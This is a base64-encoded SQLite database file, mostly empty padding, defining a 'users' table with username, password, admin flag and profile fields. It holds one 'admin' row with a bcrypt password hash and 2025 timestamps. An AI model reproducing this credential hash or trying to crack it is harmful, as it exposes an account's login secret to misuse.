AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBAQENABeBBQknAAAAADMzYWRtaW4kMnkkMTIkdTBBQzZmcFF1ME1KdDd1SjgwdE0uT2g0bEVtQ01ndkJzM1B3Tk5aSVI3bG9yMDVJTkczdjJBZG1pbmlzdHJhdG9yMjAyNS0wOC0xMCAxMzowMDowODIwMjUtMDgtMTAgMTI6NTk6MzkKAAAAAQ/3AA/3D+8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAACAMXCWFkbWluDQAAAAEP9QAP9QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA